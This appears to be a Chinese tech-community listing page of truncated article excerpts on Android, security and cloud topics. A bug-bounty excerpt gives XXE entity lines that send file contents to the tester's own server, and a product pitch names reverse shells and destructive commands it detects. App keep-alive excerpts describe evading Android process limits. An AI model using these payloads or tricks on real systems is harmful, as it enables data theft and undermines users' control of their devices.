首页
学习
活动
专区
圈层
工具
发布

Android面试题大全

详细的进程优先级划分如下: 前台进程:应用程序存在Activity正位于前台,可见并可控 可见进程:应用程序存在Activity处于局部可见状态,即局部可见却不可控 服务进程:应用程序存在正在运行的...Provider是 android 四大组件之一的内容提供器,它主要的作用就是将程序的内部的数据和外部进行共享,为数据提供外部访问接口,被访问的数据主要以数据库的形式存在,而且还可以选择共享哪一部分的数据...AndroidManifest 文件中未进行声明的 activity、服务 以及 内容提供者 将不为系统所见,从而也就不可用。...和之前提到的一样,想重新自定义自己程序中的四大组件,就必须重新实现一个类,重写这个类中的抽象方法,在清单文件中注册,最后才能够正常使用。...如果我们的自定义 View 需要频繁刷新,或者刷新时数据处理量比较大,那么可以考虑使用 SurfaceView 来取代 View Android程序运行时权限与文件系统权限的区别 文件的系统权限是由

1.8K50

SRC漏洞挖掘经验分享

文件解析造成的XXE 网站存在一个有意思的功能点,通过上传Excel会将内容显示在页面上,也就是说后端会解析Excel Excel是通过XML来存储数据的,也就是说网站解析了XML,那么我们就可以在XML...中注入语句来尝试攻击 新建一个"新建 Microsoft Excel 工作表.xlsx",将后缀改为.zip并解压 尝试在"[Content_Types].xml"中注入语句,之后再压缩回.zip然后重命名为...ENTITY % xxe SYSTEM 'http://你服务器IP/XXE'>"> 使用网站解析Excel,查看日志 成功调用外部实体 利用方式不用多说了吧,可以利用伪协议读取文件或系统命令执行...ENTITY % xxe SYSTEM 'http://你服务器IP/%file;'>"> CSRF与逻辑漏洞的组合拳 登录上后修改密保(忘记密码时通过回答问题来修改密码)进行抓包 尝试用...,那么我们就可以尝试将JS注入IP一栏 状态显然不止有"成功",肯定也有"失败",不然它就没有意义了,也就是说如果存在注入,我们无需登录即可将JS注入用户界面,进而在用户登录后造成攻击 现在的问题是,如何修改

49521
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    SRC漏洞挖掘经验分享

    文件解析造成的XXE网站存在一个有意思的功能点,通过上传Excel会将内容显示在页面上,也就是说后端会解析ExcelExcel是通过XML来存储数据的,也就是说网站解析了XML,那么我们就可以在XML中注入语句来尝试攻击新建一个..."新建 Microsoft Excel 工作表.xlsx",将后缀改为.zip并解压尝试在"[Content_Types].xml"中注入语句,之后再压缩回.zip然后重命名为"新建 Microsoft...ENTITY % xxe SYSTEM 'http://你服务器IP/XXE'>">使用网站解析Excel,查看日志成功调用外部实体利用方式不用多说了吧,可以利用伪协议读取文件或系统命令执行">CSRF与逻辑漏洞的组合拳登录上后修改密保(忘记密码时通过回答问题来修改密码)进行抓包尝试用GET请求来代替...,点开它IP时间状态x.x.x.x2022成功到这里就应该有思路了,页面显示了用户的IP,也就是存在交互点,那么我们就可以尝试将JS注入IP一栏状态显然不止有"成功",肯定也有"失败",不然它就没有意义了

    1.4K20

    android:persistent和android:priority的区别,对进程优先级有什么影响?

    关于Service保活和提高Android应用中Service组件优先级的方法,可以总结如下: 设置最高优先级:在AndroidManifest.xml文件中,通过设置android:priority...使用startForeground()方法:在Service的onStartCommand()方法中调用startForeground()方法,将Service提升为前台进程级别。...Service中循环播放无声音频:在Service中循环播放一段无声音频,可以一定程度上提高保活效果,但会增加耗电量。...广播锁屏、自定义锁屏(不推荐):通过监听锁屏广播或自定义锁屏界面来保活,但这种方式可能对用户体验产生负面影响。...对于persistent应用,当应用进程意外终止时,AMS会尝试重新启动该应用进程,以保证应用的持久性。

    2.6K10

    应用保活终极总结(二):Android6.0及以上的保活实践(进程防杀篇)

    因保活防杀和被杀复活涉及内容较多,我将它分成了两篇:即进程防杀篇(本文)和进程被杀复活篇(下篇),本篇将讨论如何实现进程防杀。...,即: [1] 降低omm_adj值,尽量保证进程不被系统杀死(本文要讨论的内容); [2] 进程被杀死后,通过其他方式将进程复活(将在下篇讨论)。...但需要明白的是,面对各手机厂商的深度定制和谷歌越来越严格的资源管理机制,这两种方式结合的保活不是永久的,只能是相对存在,不同的机型结果也是不一样的。...- singleTop模式,每次启动activity如果栈顶时该activity则无需创建,其余情况都要创建该activity的实例; - singleTask模式,如果被启动的activity的实例存在栈中...,且是作为共享实例存在。

    5.1K21

    如何满足等保2.0对主机安全的要求?腾讯云主机安全一键护航!

    本文将结合等保2.0的核心要求,解析主机安全的关键防护点,并推荐腾讯云主机安全这一一站式解决方案,助企业低成本、高效率达成合规目标。...恶意行为监测与防御 实时检测异常登录(如高频IP尝试、异地登录); 阻断木马文件植入、反弹Shell等攻击行为; 监控高危命令执行(如rm -rf、chmod 777)。...支持密钥登录、异常登录实时告警,可自定义IP白名单阻断高风险地区访问 漏洞管理 内置应急漏洞库,自动扫描并推送修复方案(如Log4j、...自动化响应undefined支持自定义策略:检测到异常登录时自动封禁IP、隔离可疑文件,减少人工干预延迟。...五、客户案例:某金融科技公司合规实践某银行在等保2.0测评中发现存在32项主机安全风险,包括弱口令、未修复的SMB漏洞等。

    12010

    【python报错已解决】“Can‘t connect to local MySQL server through socket ‘tmpmysql.sock’ (2)”

    《linux深造日志》 本专栏的标题灵感是来自linux中系统产生的系统日志。而我们也可以每天输出内容不断前进,以达到精深的境地。 《C语言进阶篇》 想成为编程高手嘛?...1.3 解决思路 要解决这个问题,我们需要确保MySQL服务正在运行,socket文件存在,并且你的应用程序有权限访问它。 二、解决方法: 2.1 方法一 首先,确保MySQL服务正在运行。...2.2 步骤二 如果问题依然存在,你可以尝试使用TCP/IP而不是socket文件来连接MySQL: try: cnx = mysql.connector.connect(user='user'...通过确保MySQL服务正在运行、socket文件存在且有权限访问,你可以解决这个问题。 下次遇到这类报错时,你可以按照以下步骤进行排查和解决: 检查MySQL服务是否正在运行。...检查socket文件是否存在,并确保应用程序有权限访问它。 如果问题依然存在,尝试使用TCP/IP连接而不是socket文件。 通过这些方法,你应该能够解决类似的问题。

    1K10

    固定资产标签制作教程

    在线填表 是最快捷的数据导入方式,将多个资产信息一起填入表格,每一行数据生成一个资产二维码。 资产照片等多媒体类的可变内容,需要逐个上传至每个子码中。...1.3 设置资产二维码名称的命名规则 资产二维码(子码)可按照统一规则批量命名:前缀固定内容+2个可变内容。 二维码名称用于识别二维码,方便后台使用关键词检索。...1.4 资产分类目录 生成的二维码保存在【二维码管理】—【活码】菜单中,你可以设立目录,便于查找和管理。 每个目录下的二维码会自动聚合成一个汇总码,扫描汇总码,可按目录的分类,批量查看二维码。...如果你有个性化的样式需求,可下载排版所需的数据,用专业工具进行自定义排版。 3.修改更新资产信息 资产信息发生变动,比如:新增采购、使用人/保管人变更等,可批量或者手机扫码修改二维码中的信息。...将维保任务设置为计划,管理员可从小程序工作台看到维保计划完成的情况统计。 管理员可从管理后台查询或导出数据明细,整理设备的维保数据。 3.

    1.7K30

    区块链开发公司谈区块链与保险

    区块链作为数字化时代的底层逻辑,在与保险行业的融合过程中,需要了解保险行业中各个业务环节存在的优劣势,然后利用区块链技术各项特性进行扬长避短,使得区块链与保险行业达到高度契合的关系。...在传统保险行业中,虽然存在如人寿保险、意外险、车险、财产险等诸多保险业务,但在各个垂直的保险服务业务中,大多数保险业务内容同质化较为严重。...在当前的市场环境中,千人千面的区块链保险业务场景会不断趋于多元化,可以是C端用户之间存在的利益关系,也可以是C端用户和B端企业之间签署的合约,抑或是B端企业与B端企业之间的合作条款。...将区块链技术与保险行业进行融合,既能为用户建立区块链验证系统,通过加密算法保障个人信息安全;同时,用户在区块链中还能管理个人数据,并对多方交易数据进行跨平台管理。...对于保险公司的主体业务,也有保险公司正在进行尝试接入区块链技术基于区块链技术,在云端搭建了保险核心系统,将保单、客户及理赔等信息放到去中心化的区块链上,众安在线正在做这样的尝试。

    6.6K60

    新加坡新保集团(SingHealth)网络攻击事件的可疑线索分析

    在该篇 Pastebin 帖子中,其异常请求日志的其它部分表明,攻击者正在尝试访问的目标是名为 “portaldev” 的数据库,注意其名字是portal+dev,可以想象,开发环境服务器没有生产环境服务器的保护措施严密...还能从上述查询语句中看到,攻击者正尝试排除查询结果中与 “牙科手术”相关的返回记录,且特定了这些记录须满足"Direct Access" 和 "Direct Admit" 权限,用到的两条相关查询语句分别是...以上的两个查询将“个人”病患类别和 “政府补贴” 病患类别作了区分,这可能是为了进一步关注潜在的高价值目标病患记录。 ?...最终,我们发现攻击者为了隐藏痕迹,已经删除了这篇数据库查询的 Pastebin 帖子,谷歌快照也不存在相关缓存内容,只在Pastebin上存有内容不可见的记录: ? ?...如果是这种情况的话,还是有些意思的,如果攻击者正尝试突破入侵新保集团(SingHealth) 或新加坡国家医疗保健集团(NHG)的话,发现这篇Pastebin帖子会是一个很好的信息宝藏。

    1.2K20

    app防盗——一键加密

    s=1 ---- 360加固保-第三方移动应用安全服务平台|应用加固|盗版监测 最新:Android apk资源保护方案研究分析 日期:2016-11-04 Android APP以APK文件形式存在...Android apk资源文件中存放了大量的应用UI界面图片、UI布局文件、隐私数据文件等,保障这些文件的安全性一直困扰着开发者,接下来将具体分析一下目前市场上常见的资源文件保护方案。...资源文件混淆保护 Android apk开发过程中公司大都提倡命名规范化,因此通过文件名称非常容易理解其含义,这样有利于开发者理解和维护应用,但是同时也给应用破解者提供了方便,破解者通过这些命名很容易便可找到他们需要的文件位置...例如将原资源文件res/layout/activity_main.xml命名为res/a/a.xml,通过layout和activity_main.xml我们很容易知道该文件可能是个布局相关文件,且可能是主...缺点:安全强度有限:仅对资源文件进行重命名并不能有效的保护资源文件,破解者依然能可查看并修改资源文件内容,assets文件保护难度较大:如需对assets目录下的资源进行混淆,则需要修改java程序代码或者

    2.3K50

    云上主机安全防护:基于腾讯云平台的深度防御体系与实践

    文章还将深入探讨等保合规与重保场景下的特殊防护需求,以及混合云环境中的统一安全管理挑战,为安全运维人员提供一套可落地的云主机纵深防御方案。...腾讯云采用非爆破式检测技术,避免因频繁尝试导致账户锁定,同时支持自定义弱口令字典,满足企业特殊策略要求。...某政务云项目在重保期间通过腾讯云的定制防护方案,成功抵御了日均300万次的攻击尝试,保障了业务零中断。 容器安全是现代云环境不可忽视的一环。...威胁情报的实时协同将提升整体防御效能。腾讯云依托全球超过20个数据中心和千亿级威胁数据处理能力,正在构建更智能的情报共享网络。...某次红队演练中,启用微隔离的系统成功阻断了攻击者94%的横向移动尝试,显著提高了攻击成本。 量子安全加密的前瞻布局也已开始。

    49210

    如何利用Opa Gatekeeper为Kubernetes集群编写策略

    在第一部分中,我们将利用 OPA gatekeeper 准入控制器来执行我们编写的策略,然后,在第二部分中,我们将编写自己的自定义验证控制器。...先决条件 要充分利用本实用指南,需要在您的本地计算机上设置以下内容: 确保已安装 OPA Minikube:确保您拥有 Minikube 和一个正在运行的 Kubernetes 集群 kubectl:确保您已将...步骤 1:创建一个约束模板文件一个 ConstraintTemplate 定义策略的结构和逻辑。这个模板将强制要求每个命名空间必须有 team 注释。...步骤 I:创建约束模板文件 此模板将检查标记为 env:production 的命名空间是否有资源配额。...创建一个文件 app.py 并复制以下内容。

    55510

    MySQL连接控制插件介绍

    本篇文章介绍下 MySQL 中的连接控制插件,一起来学习下此插件的作用。 1.连接控制(connection_control)插件介绍 MySQL 服务端包含一个插件库,可以自定义安装各类插件。...CONNECTION_CONTROL_FAILED_LOGIN_ATTEMPTS:将登录失败的操作记录至 information_schema系统库中。...information_schema 系统库中的表会记录登录失败的用户名及失败次数,当延迟发生时,从 processlist 中也可以查到正在延迟的连接。若输入密码正确,则会取消延迟、重新计数。...不过启用连接控制插件后要注意是否存在延迟的连接,因为正在延迟的连接也是占用连接数的,可能会引起连接积压导致连接数不够用。所以当出现延迟的连接时,应尽快排查到底是那里在连接,确保密码输入正确。...若要启用此插件,注意要配置合适的阈值及延迟时间,并记得将这些参数写入配置文件。一般等保评测可能会有这项要求,这个时候连接控制插件会用得上。

    1.4K40

    python生成马保国敲架子鼓动图二维码(彩色)

    小实验--使用Python合成马保国敲架子鼓的动图二维码 # 实验环境 MacOS Catalina v10.15.7 Python3 # 马保国敲架子鼓动图测试图 # 代码 # coding: utf8...r.status_code) # 返回状态码 if r.status_code == 200: open('baseimg.gif', 'wb').write(r.content) # 将内容写入图片...version=13, # 版本,从 1至 40 level='H', # 纠错等级,范围是L、M、Q、H,从左到右依次升高 picture='baseimg.gif', # 文件要放在目录下...True 为彩色,False 为黑白 contrast=1.0, # 对比度 brightness=1.0, # 亮度 save_name='test.gif', # 命名随便都行...,格式可以是 jpg,png,bmp,gif save_dir=os.getcwd() # 路径要存在 ) 当然下载图片的 url 可以任意更改,比如替换为你喜欢的网络图片,而后会基于下载的图片生成二维码

    91310

    Android应用的保活方案以及另类出路,你了解几个

    或者ps查看进程还是存在的。...oom_adj值有影响)、使用”1像素“的Activity覆盖在getWindow()的view上、循环播放无声音频(黑科技,7.0下杀不掉) 3、监听锁屏广播:使Activity始终保持前台 4、使用自定义锁屏界面...办法其实还是有的: 当我们点击系统菜单键出现系统多任务界面,然后点击清空内存,其实系统这时候会获取当前正在运行的程序,并且获取他们的页面截图用于展示,而对于正在当前运行的程序是不会强制杀死的,也就是TopActivity...第一点:因为一像素对于肉眼来看几乎可以忽略,所以需要在这个Activity中设置大小: 第二点:不能让这个Activity出现在多任务中,不然会被用户发现就恶心了,这里可以在xml中设置一个属性即可:...大家可以看代码进行项目的适配,这种方式还有一个最大的好处就是,我们知道Android8.0之后系统不允许应用在后台静默启动一个服务了,如果要启动服务就要告诉用户,让用户可以看到,不然就报错,大家可以自行搜索相关内容

    2.6K10

    蓝队的自我修养之事中监控 | HVV经验分享

    1 背景 一年一度的重保活动即将到来,作为防守方将进行 7*24h 的值守安全设备,防守方主要从“事前排查”、“事中监控”、“事后溯源”三个维度开展自己的工作。...在重保活动中攻击者的目标很明确,找数据进内网,那么如何快速准确的从企业海量的资产中找到企业的漏洞入口点,常用的方法就是扫描器,故掌握开源或者商业的扫描器的指纹特征,可以快速的定位真实的攻击IP,做到准确封禁...(2) HTTP 请求头存在 Acunetix-* 的自定义字段 ? (3) HTTP 请求包或者响应包中包含 hit*.bxss.me ?...,大多数系统需要登录才能进一步操作,那么登录处大概率攻击者会尝试弱口令攻击,所以在数据包的请求体中找 username=test、 admin 等字段,如果 IP 存在多次尝试登录,那么这个 IP 也可以归为攻击者...内容转载与引用 1. 内容转载,请微信后台留言:转载+转载平台 2. 内容引用,请注明出处:以上内容引自公众号“微步在线研究响应中心”

    5.1K40

    Helm还不够,也许你还需要Kustomize

    接下来我们尝试对这些问题就行解答。 Helm 有哪些优缺点? 首先了解下将应用部署到 Kubernetes 集群中需要的不同的技术。...示例4:在持续部署流水线中打补丁 比如 Nginx Pod 中存在安全漏洞,安全团队正在寻找一种方法来拦截所有的持续部署流水线,并将 Nginx 镜像版本更新到最新版本,在这种情况下,Kustomize...kustomize build 命令 kustomization.yaml文件中是什么样的内容呢?...同时,安全团队有一个要求,要求将移动应用团队使用的所有服务保存在 ”backend-for-frontend“ 的命名空间下。此外,应用运维团队还需要添加一个标签,以团队命名的分布式调用链标签。...文件: 最后,自定义配置并部署到 Kubernetes 集群中去。

    2.6K20

    融云技术分享:融云安卓端IM产品的网络链路保活技术实践

    综上所述:链路保活涉及到消息链路和推送链路两条链路的保活策略。基于这两条链路使用场景的不同,保活策略上除了心跳机制是相同的,其它保活策略各有不同。下面将逐一解读。...4、链路保活的必要性 基于 TCP 的 Socket 连接建立之后,如果不做任何处理,这个连接会长时间存在并且可用吗?答案是否定的。...为了节省流量,这个包一般非常小(通常是越小越好,比如网易云信的IM云产品中1字节心跳包是作为产品卖点进行宣传的),甚至没有内容。 ? 那么客户端如何实现定时发送心跳包呢?一般有两种方式。...最后,安卓从 6.0 版本引入了 Doze 模式,并提供了新的闹钟设置方法 setExactAndAllowWhileIdle() ,通过该方法设置的闹钟时间,系统会智能调度,将各个应用设置的事务统一在一次唤醒中处理...1.3)根据文件锁互斥原理,监视 Java 进程存活状态:若被杀, Linux 层成功持有文件,则通过 exec() 命令,打开一个纯 Linux 的可执行文件,开启一个 Daemon 进程, 该进程因为从

    3.5K40

    史上最强Android保活思路:深入剖析腾讯TIM的进程永生技术

    5.3.2)揭秘: 从前面的分析来看callingPid是不可能为0的, 但从结果来看的确是0, 出现矛盾就一定有反常规存在,难道是存在同步的Binder调用,也存在同时callingPid=0的case...6、深入分析 6.1 寻求规律 TIM应用有4个进程,不断反复地尝试杀TIM每一个进程后,观察自启动的情况后。...flock基础知识简介: flock是Linux文件锁,用于多个进程同时操作同一个文件时,通过加锁机制保证数据的完整,flock使用场景之一,便是用于检测进程是否存在。...从strace可以推测出:com.tencent.tim:MSF进程的监控线程执行排它锁LOCK_EX类型的flock,尝试去获取某个文件,而该文件已被com.tencent.tim: Daemon进程所持有...6.8 分析思路归纳 我们来回顾一下上面的过程: 1)先有了初步分析过程中对一些常规套路的可能性的排除,并嗅到callingPid=0的异常举动; 2)沿着蛛丝马迹,不断反复尝试杀进程,从中寻找更多的规律

    3.6K10
    领券